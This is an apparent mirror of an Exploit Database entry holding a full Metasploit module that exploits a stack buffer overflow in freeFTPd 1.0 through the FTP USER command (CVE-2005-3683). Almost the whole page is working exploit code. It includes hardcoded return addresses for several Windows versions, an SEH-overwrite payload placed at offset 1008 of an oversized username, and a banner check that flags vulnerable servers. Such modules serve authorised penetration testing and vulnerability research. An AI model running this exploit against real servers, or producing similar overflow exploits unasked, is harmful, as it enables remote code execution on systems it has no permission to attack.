freeFTPd 1.0 – ‘Username’ Remote Overflow (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16707/

• ##
  # $Id: freeftpd_user.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'freeFTPd 1.0 Username Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the freeFTPd
  				multi-protocol file transfer service. This flaw can only be
  				exploited when logging has been enabled (non-default).
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-3683'],
  					[ 'OSVDB', '20909'],
  					[ 'BID', '15457'],
  					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[
  						'Windows 2000 English ALL',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x75022ac4,
  						},
  					],
  					[
  						'Windows XP Pro SP0/SP1 English',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x71aa32ad,
  						},
  					],
  					[
  						'Windows NT SP5/SP6a English',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x776a1799,
  						},
  					],
  					[
  						'Windows 2003 Server English',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x7ffc0638,
  						},
  					],
  				],
  			'DisclosureDate'=> 'Nov 16 2005'
  		))
  	end
  
  	def check
  		connect
  		disconnect
  		if (banner =~ /freeFTPd 1\.0/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		buf= rand_text_english(1816, payload_badchars)
  		seh= generate_seh_payload(target.ret)
  		buf[1008, seh.length] = seh
  
  		send_cmd( ['USER', buf] , false)
  
  		handler
  		disconnect
  	end
  
  end